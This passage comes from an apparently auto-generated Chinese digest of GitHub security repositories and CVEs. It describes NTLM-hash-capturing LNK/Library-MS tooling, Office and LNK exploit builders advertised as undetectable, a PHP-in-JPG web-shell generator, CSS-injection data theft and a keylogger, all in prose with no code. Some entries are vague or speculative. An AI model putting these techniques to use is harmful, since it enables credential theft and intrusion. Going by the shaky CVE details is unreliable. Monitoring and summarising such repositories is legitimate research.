检测与修复现代物联网固件中的关键安全漏洞,特别是针对潜在的量子密码威胁,属于安全漏洞利用与补丁工具范畴。新增的补丁生成机制和漏洞检测能力大幅提高了安全修复效率,有助于应对未来的量子计算威胁,是网络安全攻防中的核心价值环节。
|
||
</details>
|
||
|
||
---
|
||
|
||
### bumblebee - 基于AI Fuzzing的模型鲁棒性测试工具
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [bumblebee](https://github.com/jejaquez/bumblebee) |
|
||
| 风险等级 | `HIGH` |
|
||
| 安全类型 | `安全研究/漏洞利用/渗透测试` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **4**
|
||
- 变更文件数: **5**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库开发了一个面向Transformer模型的AI fuzzing工具,用于检测模型的行为稳定性、鲁棒性和安全性,支持多种激活扰动技术,据此进行模型抗干扰能力的研究。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 实现了针对HuggingFace transformer模型的多模态激活扰动和行为测试 |
|
||
| 2 | 提供详细的层级行为分析和结果报告,有助于发现模型潜在漏洞 |
|
||
| 3 | 研究价值在于模型鲁棒性和安全性的评估与改进,适用于渗透测试中对模型稳定性的验证 |
|
||
| 4 | 与'AI Security'关键词高度相关,旨在检测模型潜在的安全隐患和行为异常 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 利用transformer_lens库hooking机制,实现对attention及MLP层的激活干扰
|
||
|
||
> 支持多种扰动技术(高斯噪声、比特翻转、Dropout),结合Diff对比分析模型变化
|
||
|
||
> 通过命令行界面便于多参数配置,生成结构化JSON报告,便于后续分析
|
||
|
||
> 研究利用激活扰动检测模型是否存在鲁棒性漏洞,为模型安全评估提供技术手段
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• Transformer模型内部激活层
|
||
• 模型推理流程,包括注意力机制和前馈网络
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该项目切入模型鲁棒性和安全检测方向,技术实现先进,提供具体的技术手段帮助识别Transformer模型中的潜在安全风险,符合搜索关键词'AI Security'的安全研究和漏洞检测需求。
|
||
</details>
|
||
|
||
---
|
||
|
||
### CVE-2025-50154 - LNK/Library-MS 武器化工具
|
||
|
||
#### 📌 漏洞信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| CVE编号 | CVE-2025-50154 |
|
||
| 风险等级 | `HIGH` |
|
||
| 利用状态 | `漏洞利用可用` |
|
||
| 发布时间 | 2025-08-16 00:00:00 |
|
||
| 最后更新 | 2025-08-16 02:18:17 |
|
||
|
||
#### 📦 相关仓库
|
||
|
||
- [CVE-2025-50154-Aggressor-Script](https://github.com/Ash1996x/CVE-2025-50154-Aggressor-Script)
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库提供了一个Cobalt Strike的Aggressor脚本,用于生成恶意的LNK和Library-MS文件,用于捕获NTLM哈希。仓库包含LNK Weaponizer v2.0的Aggressor脚本、一个独立的PowerShell脚本、安装指南、README文档以及使用场景示例。主要功能包括:创建LNK文件进行NTLM哈希捕获,创建Library-MS文件以绕过CVE-2025-24054,提供右键菜单集成,命令行界面以及快速部署选项。最新提交更新了`usage_scenarios.md`文件,增加了对Library-MS技术绕过CVE-2025-24054的详细说明,并提供了实用的使用场景。另外,还添加了安装指南和示例文件。该脚本能够创建指向远程SMB共享的快捷方式,当用户访问这些快捷方式时,将触发NTLM认证,从而泄露用户的NTLM哈希。利用Library-MS文件格式的优势在于绕过传统LNK文件的安全限制,并利用Windows库系统进行身份验证触发,提供额外的规避能力。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | LNK和Library-MS文件创建,用于NTLM哈希捕获 |
|
||
| 2 | 包含CVE-2025-24054的绕过技术 |
|
||
| 3 | 提供与Cobalt Strike的集成,方便红队使用 |
|
||
| 4 | 提供多种部署方式,包括命令行和右键菜单 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> LNK文件利用PowerShell创建指向SMB共享的快捷方式,触发NTLM认证
|
||
|
||
> Library-MS文件使用XML配置,创建Library-MS文件,当用户访问时触发SMB认证
|
||
|
||
> 提供了多个规避策略,例如使用合法的名称和文件扩展名,以及在常见的用户目录中进行部署
|
||
|
||
> 通过绕过CVE-2025-24054,提升了攻击的隐蔽性和成功率
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• Cobalt Strike
|
||
• Windows
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该工具允许红队在目标系统上执行代码,并捕获用户的NTLM哈希,这可以用于凭证窃取和横向移动。它还提供了绕过CVE-2025-24054的方法,增强了攻击的成功率。该工具能够影响广泛使用的Windows系统,具有较高的价值。
|
||
</details>
|
||
|
||
---
|
||
|
||
### Repopulation-With-Elite-Set - 门控流控渗透测试与安全分析工具
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [Repopulation-With-Elite-Set](https://github.com/PedroVic12/Repopulation-With-Elite-Set) |
|
||
| 风险等级 | `HIGH` |
|
||
| 安全类型 | `漏洞利用/安全修复/安全研究` |
|
||
| 更新类型 | `SECURITY_IMPROVEMENT` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **1**
|
||
- 变更文件数: **13**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库涉及网络安全漏洞利用及风险评估,最新更新内容包括提升系统配置灵活性,添加安全检测框架文档,修复潜在安全漏洞风险点,增强对目标系统的攻击策略支持。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 包含利用框架和漏洞利用策略的安全相关内容 |
|
||
| 2 | 新增安全检测文档,详细介绍漏洞利用环境与配置 |
|
||
| 3 | 修复潜在的安全配置和漏洞利用相关缺陷 |
|
||
| 4 | 对目标系统进行攻击配置优化,提升攻击效果 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 引入pandaPower集成,模拟电力系统漏洞利用环境
|
||
|
||
> 调整参数配置,提高漏洞利用成功率和目标响应效率
|
||
|
||
> 增加了安全检测功能,辅助识别系统安全漏洞
|
||
|
||
> 修复了代码中的潜在安全风险点,如配置不当导致的漏洞利用失败
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• 漏洞利用脚本
|
||
• 系统配置参数
|
||
• 安全检测模块
|
||
• 目标系统模拟环境
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
最新更新明确涉及漏洞利用、攻击策略优化及安全检测,增强了对系统安全脆弱点的识别和利用能力,价值明显,符合安全相关价值标准。
|
||
</details>
|
||
|
||
---
|
||
|
||
### CMD-Exploit-CVE-2024-RCE-AboRady-FUD-25765-Injection - 针对CVE-2024的远程代码执行漏洞利用工具
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [CMD-Exploit-CVE-2024-RCE-AboRady-FUD-25765-Injection](https://github.com/Geinasz/CMD-Exploit-CVE-2024-RCE-AboRady-FUD-25765-Injection) |
|
||
| 风险等级 | `HIGH` |
|
||
| 安全类型 | `漏洞利用` |
|
||
| 更新类型 | `SECURITY_CRITICAL` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **5**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库包含针对CVE-2024的RCE漏洞的利用代码,强调隐蔽执行,涉及利用框架和技术手段。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 漏洞利用工具,针对CVE-2024 RCE漏洞 |
|
||
| 2 | 多次更新利用脚本和绕过检测的方法 |
|
||
| 3 | 涉及利用框架及隐蔽执行技术 |
|
||
| 4 | 对目标系统的潜在威胁和利用效果 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 利用框架支持自动化攻击流程,结合漏洞数据库生成利用代码
|
||
|
||
> 采用防检测策略如静默执行和规避安全机制
|
||
|
||
> 更新内容可能包括改进利用流程和增加新绕过技术
|
||
|
||
> 安全影响为高风险远程代码执行攻击,有助于渗透测试和攻击演练
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• 目标系统的远程执行接口
|
||
• 漏洞检测与防护机制
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
包含针对CVE-2024 RCE漏洞的利用脚本,提升利用成功率并优化绕过检测的技术手段,具有重要安全研究和攻击演示价值。
|
||
</details>
|
||
|
||
---
|
||
|
||
### Office-Exploit-Cve2025-Xml-Doc-Docx-Rce-Builder-Fud - Office文件漏洞利用工具
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [Office-Exploit-Cve2025-Xml-Doc-Docx-Rce-Builder-Fud](https://github.com/Caztemaz/Office-Exploit-Cve2025-Xml-Doc-Docx-Rce-Builder-Fud) |
|
||
| 风险等级 | `CRITICAL` |
|
||
| 安全类型 | `漏洞利用` |
|
||
| 更新类型 | `SECURITY_CRITICAL` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **5**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库开发针对CVE-2025-44228等漏洞的利用工具,主要用于利用Office文档中的远程代码执行漏洞,涵盖利用链如xml、doc、docx等格式。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 针对Office文档的远程代码执行漏洞(如CVE-2025-44228)开发利用工具 |
|
||
| 2 | 利用恶意payload进行漏洞利用,影响Office 365等平台 |
|
||
| 3 | 包含利用链构建和payload生成,可能用于安全渗透测试或恶意攻击 |
|
||
| 4 | 影响Microsoft Office相关平台,具有高度渗透性 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 利用多种Office文档格式(XML、DOC、DOCX)结合漏洞漏点,开发自动化漏洞利用代码
|
||
|
||
> 可能集成silent exploit构建工具,生成绕过防护的payload
|
||
|
||
> 利用payload能够在受害环境中远程或本地执行恶意代码
|
||
|
||
> 安全影响分析:工具可能被滥用进行恶意攻击,危害目标系统完整性和数据安全
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• Microsoft Office文档处理组件
|
||
• Office 365平台
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
仓库包含针对特定高危安全漏洞的利用代码和payload,属于安全研究和渗透测试的重要工具,有助于安全评估和漏洞验证。
|
||
</details>
|
||
|
||
---
|
||
|
||
### TOP - 针对CVE漏洞的渗透测试和利用示例
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [TOP](https://github.com/GhostTroops/TOP) |
|
||
| 风险等级 | `HIGH` |
|
||
| 安全类型 | `漏洞利用/POC更新` |
|
||
| 更新类型 | `SECURITY_CRITICAL` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **1**
|
||
- 变更文件数: **1**
|
||
|
||
#### 💡 分析概述
|
||
|
||
仓库主要提供一系列针对CVE漏洞的POC和利用脚本,包括RCE和权限提升示例,强调安全测试应用。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 提供CVE-2023相关的远程代码执行(RCE)利用示例 |
|
||
| 2 | 包含已公开CVE漏洞的POC和利用代码 |
|
||
| 3 | 涉及渗透测试中的漏洞利用技术 |
|
||
| 4 | 有助于检测和验证系统安全漏洞 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 仓库包含对多种安全漏洞的POC,包括CVE编号标识的安全漏洞利用代码。
|
||
|
||
> 利用内容主要涵盖远程代码执行(RCE)、权限提升等漏洞技术。
|
||
|
||
> 更新内容包括自动化维护POC列表,确保最新的漏洞利用方式可用。
|
||
|
||
> 安全影响在于提供攻击路径,辅助安全测试和漏洞验证。
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• 受影响系统和软件
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
仓库提供了多种CVE的利用POC,核心内容是漏洞利用技术,直接关系网络安全和渗透测试,对安全研究和应急响应具有高价值。
|
||
</details>
|
||
|
||
---
|
||
|
||
### Lnk-Exploit-FileBinder-Certificate-Spoofer-Reg-Doc-Cve-Rce - 针对LNK文件的漏洞利用工具
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [Lnk-Exploit-FileBinder-Certificate-Spoofer-Reg-Doc-Cve-Rce](https://github.com/Caztemaz/Lnk-Exploit-FileBinder-Certificate-Spoofer-Reg-Doc-Cve-Rce) |
|
||
| 风险等级 | `HIGH` |
|
||
| 安全类型 | `漏洞利用` |
|
||
| 更新类型 | `SECURITY_CRITICAL` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **5**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库主要开发LNK文件的漏洞利用脚本和技术,最新更新可能涉及利用CVE-2025-44228等远程代码执行漏洞,强调安全漏洞利用手段。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 开发针对LNK文件的漏洞利用技术 |
|
||
| 2 | 最新更新涉及利用CVEs实现远程代码执行 |
|
||
| 3 | 涉及安全漏洞利用工具与技术 |
|
||
| 4 | 影响目标系统的远程代码执行安全性 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 采用LNK文件构造和Payload植入技术,通过漏洞实现远程代码执行。
|
||
|
||
> 利用漏洞CVE-2025-44228等,实现静默RCE,并借助漏洞技巧提升攻击效率。
|
||
|
||
> 分析利用流程、漏洞利用代码和相关漏洞环境。
|
||
|
||
> 对目标系统的安全性构成严重威胁,可造成完整控制。
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• Windows操作系统的LNK解析机制
|
||
• 相关漏洞存在于LNK文件的处理逻辑中
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该仓库聚焦于漏洞利用技术,包括实现具体的RCE利用方法,具有明确的安全研究和漏洞利用价值,能帮助安全专家进行漏洞验证或攻防演练。
|
||
</details>
|
||
|
||
---
|
||
|
||
### php-in-jpg - PHP RCE payload in JPG generator
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [php-in-jpg](https://github.com/Mxzinedits/php-in-jpg) |
|
||
| 风险等级 | `HIGH` |
|
||
| 安全类型 | `漏洞利用` |
|
||
| 更新类型 | `SECURITY_IMPROVEMENT` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **1**
|
||
- 变更文件数: **1**
|
||
|
||
#### 💡 分析概述
|
||
|
||
The repository php-in-jpg provides a tool to generate JPG images embedding PHP payloads for RCE. The update, reflected in the README.md modification, focuses on clarifying the tool's functionality and usage, specifically the GET-based execution mode. The tool supports two techniques: inline payload and EXIF metadata injection using exiftool, to support PHP RCE polyglot techniques. While the README update doesn't introduce new vulnerabilities, it serves as a guide for potential users, allowing them to generate malicious JPG files and exploit PHP vulnerabilities.
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | Generates JPG images with embedded PHP payloads. |
|
||
| 2 | Supports inline payload and EXIF metadata injection techniques. |
|
||
| 3 | Designed to facilitate PHP RCE exploitation. |
|
||
| 4 | Uses a GET-based execution mode by default. |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> The tool embeds PHP code within JPG images. This can be achieved through two main methods: appending the PHP code directly to the image file or injecting the payload within the image's EXIF metadata, leveraging the `exiftool` utility.
|
||
|
||
> The default execution mode is GET-based, which means the injected PHP code is executed through GET requests (e.g., ?cmd=your_command).
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• PHP applications
|
||
• Web servers serving JPG files
|
||
• Systems with vulnerable PHP configurations
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
The tool's primary function is to create malicious JPG images containing PHP payloads, explicitly designed for RCE exploitation. This functionality, along with the GET-based execution, presents a significant security risk as it can directly lead to remote code execution if used against vulnerable PHP applications.
|
||
</details>
|
||
|
||
---
|
||
|
||
### VulnWatchdog - 自动化漏洞监控与分析工具
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [VulnWatchdog](https://github.com/arschlochnop/VulnWatchdog) |
|
||
| 风险等级 | `HIGH` |
|
||
| 安全类型 | `漏洞分析/POC` |
|
||
| 更新类型 | `SECURITY_CRITICAL` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **5**
|
||
- 变更文件数: **8**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库是一个自动化的漏洞监控和分析工具,名为VulnWatchdog。它监控GitHub上的CVE相关仓库,获取漏洞信息和POC代码,并使用GPT进行智能分析。此次更新包含了多个CVE的分析文档,其中涉及Windows文件资源管理器欺骗漏洞(CVE-2025-50154)、WordPress Site Editor插件本地文件包含漏洞(CVE-2018-7422)、WinRAR路径遍历漏洞(CVE-2025-8088)、Keras框架代码注入(CVE-2024-3660)和FortiSIEM OS命令注入漏洞(CVE-2025-25256)以及SAP NetWeaver Visual Composer Metadata Uploader 未授权文件上传(CVE-2025-31324)。
|
||
|
||
- CVE-2025-50154: Windows文件资源管理器欺骗漏洞,通过构造恶意LNK或Library-MS文件,诱使用户访问,触发NTLM认证,泄露NTLM哈希。POC可用。风险中危。
|
||
- CVE-2018-7422: WordPress Site Editor插件本地文件包含漏洞,允许通过ajax_path参数读取任意文件。POC可用。风险高危。
|
||
- CVE-2025-8088: WinRAR路径遍历漏洞,通过恶意压缩包执行任意代码。POC可用,但代码不完整。风险高危。
|
||
- CVE-2024-3660: Keras框架代码注入漏洞,通过恶意模型执行代码。POC可用。风险高危。
|
||
- CVE-2025-25256: FortiSIEM OS命令注入漏洞,未经身份验证的攻击者可以通过构造特制的CLI请求来执行代码。POC可用。风险高危。
|
||
- CVE-2025-31324: SAP NetWeaver Visual Composer Metadata Uploader 未授权文件上传, 允许上传恶意文件并执行。POC可用,但存在信息噪声。风险高危。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 包含多个CVE的分析报告。 |
|
||
| 2 | 涉及Windows、WordPress、WinRAR、Keras和FortiSIEM等多个组件的漏洞。 |
|
||
| 3 | 漏洞涵盖信息泄露、代码注入、路径遍历和命令注入等多种类型。 |
|
||
| 4 | 大部分漏洞都具有POC,证明其可利用性。 |
|
||
| 5 | 提供了详细的漏洞描述、利用条件和危害等级。 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> CVE-2025-50154: 利用恶意LNK/Library-MS文件诱发NTLM认证,泄露哈希。
|
||
|
||
> CVE-2018-7422: 通过ajax_path参数构造请求,读取任意文件。
|
||
|
||
> CVE-2025-8088: 构造恶意RAR压缩包进行路径遍历,写入并执行恶意文件。
|
||
|
||
> CVE-2024-3660: 构造恶意Keras模型,在加载时执行任意代码。
|
||
|
||
> CVE-2025-25256: 利用FortiSIEM的XML注入,注入OS命令。
|
||
|
||
> CVE-2025-31324: 上传包含恶意Java序列化 payload的 ZIP文件,执行任意命令。
|
||
|
||
> POC代码分析和有效性验证。
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• Windows File Explorer
|
||
• Site Editor WordPress Plugin
|
||
• WinRAR
|
||
• TensorFlow Keras
|
||
• FortiSIEM
|
||
• SAP NetWeaver Visual Composer
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
仓库更新了多个CVE的分析报告,涵盖多种高危漏洞,并提供了POC的可用性信息,对于安全研究人员具有重要的参考价值。
|
||
</details>
|
||
|
||
---
|
||
|
||
### wxvuln - 微信公众号安全漏洞信息自动抓取分析工具
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [wxvuln](https://github.com/Ice-001/wxvuln) |
|
||
| 风险等级 | `MEDIUM` |
|
||
| 安全类型 | `安全研究` |
|
||
| 更新类型 | `SECURITY_IMPROVEMENT` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **3**
|
||
- 变更文件数: **4**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库通过自动抓取微信公众号安全漏洞文章,整理为Markdown格式并更新本地知识库。最新更新中,加入了与安全漏洞相关的文章,特别是涉及漏洞利用、攻击技术、防护措施的内容,强调安全漏洞及攻击技术的分析。此次优化提升了漏洞安全信息的整理和识别能力,有助安全研究和漏洞检测。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 自动抓取微信公众号安全漏洞文章及整理 |
|
||
| 2 | 更新内容与安全漏洞、攻击技术相关 |
|
||
| 3 | 引入新漏洞文章或漏洞利用相关内容 |
|
||
| 4 | 影响微信公众号安全漏洞信息整理,有助漏洞分析和安全防御 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 利用RSS及文章内容筛选,自动识别和筛选包含漏洞关键词的文章
|
||
|
||
> 增强漏洞信息的结构化存储,方便安全分析与利用
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• 微信公众号内容采集模块
|
||
• 漏洞信息整理与展示模块
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
仓库重点在自动采集、整理安全漏洞信息,特别强调漏洞利用、攻击技术等安全内容,有助安全研究和安全防护工作,具有较高价值。
|
||
</details>
|
||
|
||
---
|
||
|
||
### cloud-native-sec-vuln - 云原生安全漏洞检测与修复工具
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [cloud-native-sec-vuln](https://github.com/miao2sec/cloud-native-sec-vuln) |
|
||
| 风险等级 | `HIGH` |
|
||
| 安全类型 | `漏洞利用/安全修复` |
|
||
| 更新类型 | `SECURITY_IMPROVEMENT` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **2**
|
||
- 变更文件数: **5**
|
||
|
||
#### 💡 分析概述
|
||
|
||
最新更新涵盖了多个Kubernetes和容器相关的安全漏洞,包括漏洞修复信息、漏洞描述和风险评分。新增了关于容器环境中符号链接漏洞(如/proc和/sys)可能导致的主机文件系统访问风险的内容,并标注了CVSS评分,显示存在一定的安全风险。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 收集了多个关键的Kubernetes和容器安全漏洞信息 |
|
||
| 2 | 提供了漏洞的修复状态、详细描述和影响范围 |
|
||
| 3 | 新增关于符号链接漏洞的安全风险分析和技术细节 |
|
||
| 4 | 提醒容器环境中符号链接可能被利用以访问主机文件系统 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 分析了Kubernetes不同CVEs的影响和修复情况,包括漏洞的描述和修复状态
|
||
|
||
> 对新增加的符号链接漏洞,描述了其潜在的远程访问和权限提升风险,CVSS评分为7
|
||
|
||
> 详细介绍了符号链接如何被利用以及相关的漏洞修复措施,如runc的变更
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• Kubernetes cluster components
|
||
• 容器运行时(如runc、youki)
|
||
• 主机文件系统挂载点 (/proc, /sys)
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该仓库紧扣关键的云原生安全漏洞,提供漏洞最新动态和技术细节,有助于安全研究和漏洞利用防护,尤其是新增的符号链接漏洞信息具有较高的安全价值。
|
||
</details>
|
||
|
||
---
|
||
|
||
### cybersec-python-lab - 个人网络安全与渗透测试工具集合
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [cybersec-python-lab](https://github.com/Swastik-Garg/cybersec-python-lab) |
|
||
| 风险等级 | `MEDIUM` |
|
||
| 安全类型 | `安全工具/渗透测试辅助` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **1**
|
||
- 变更文件数: **2**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库收集了多种Python编写的网络安全与渗透测试工具,包括密钥记录和密码评估,为安全研究提供实践平台。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 包含密钥记录和密码安全检测工具 |
|
||
| 2 | 提供实用的渗透测试和安全研究脚本 |
|
||
| 3 | 有助于安全工具和技术的学习与实践 |
|
||
| 4 | 与搜索关键词'security tool'高度相关,体现工具化安全研究内容 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 采用Python实现,便于跨平台和二次开发
|
||
|
||
> 密钥记录器利用pynput库,模拟常见的信息收集工具
|
||
|
||
> 密码强度检测脚本通过字符统计分析密码强度
|
||
|
||
> 具备一定的渗透测试场景和实用工具,适合安全研究和技术演练
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• 操作系统输入采集模块
|
||
• 密码验证与评估模块
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
仓库具备多样的实用安全工具,包括信息收集和密码分析,核心目标指向安全研究和渗透测试。内容技术性强,满足实质性技术内容要求,且与搜索关键词高度相关。该项目体现安全工具属性,具有一定的研究和实践价值。
|
||
</details>
|
||
|
||
---
|
||
|
||
### CSSinj - CSS注入漏洞利用工具
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [CSSinj](https://github.com/DonAsako/CSSinj) |
|
||
| 风险等级 | `CRITICAL` |
|
||
| 安全类型 | `漏洞利用/安全研究` |
|
||
| 更新类型 | `SECURITY_CRITICAL` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **5**
|
||
- 变更文件数: **11**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库通过CSS注入实现敏感信息渗出,包含漏洞利用代码和攻击示范,增强了字体注入利用方式,修复了相关安全漏洞。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 利用CSS注入漏洞进行敏感信息窃取 |
|
||
| 2 | 新增font-face注入 Payload 生成和使用 |
|
||
| 3 | 改进数据提取和输出结构 |
|
||
| 4 | 增强漏洞利用能力,提高漏洞利用效果 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 通过生成字体注入Payload,利用CSS属性替代实现数据外泄
|
||
|
||
> 改造了服务端处理逻辑,增加字体注入相关的数据记录
|
||
|
||
> 使用异步通信处理捕获的数据,增强数据处理效率
|
||
|
||
> 优化了输出内容格式,便于分析和验证漏洞利用效果
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• CSS注入利用模块
|
||
• 字体注入Payload生成模块
|
||
• 数据提取与存储逻辑
|
||
• 前后端通信处理
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
仓库新增字体注入Payload且优化利用实现,显著提高利用效率和隐蔽性,符合安全检测工具标准,具有明显的安全利用价值。
|
||
</details>
|
||
|
||
---
|
||
|
||
### endpoint-security-and-monitoring-tools - 端点监控工具集,用于多种安全监测
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [endpoint-security-and-monitoring-tools](https://github.com/mniyk/endpoint-security-and-monitoring-tools) |
|
||
| 风险等级 | `HIGH` |
|
||
| 安全类型 | `安全检测/安全功能` |
|
||
| 更新类型 | `SECURITY_IMPROVEMENT` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **5**
|
||
- 变更文件数: **9**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库新增了蓝牙文件传输监控模块,旨在检测蓝牙端口的文件传输行为,与现有的USB、打印机监控功能结合增强终端安全监控能力。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 新增蓝牙文件传输监控模块,监测蓝牙数据传输行为 |
|
||
| 2 | 整合监控模块到主程序,支持配置启用 |
|
||
| 3 | 安全相关变量定义及监控逻辑实现(检测蓝牙文件传输) |
|
||
| 4 | 此功能潜在引入验证或检测绕过风险,有助于识别蓝牙端口的异常行为 |
|
||
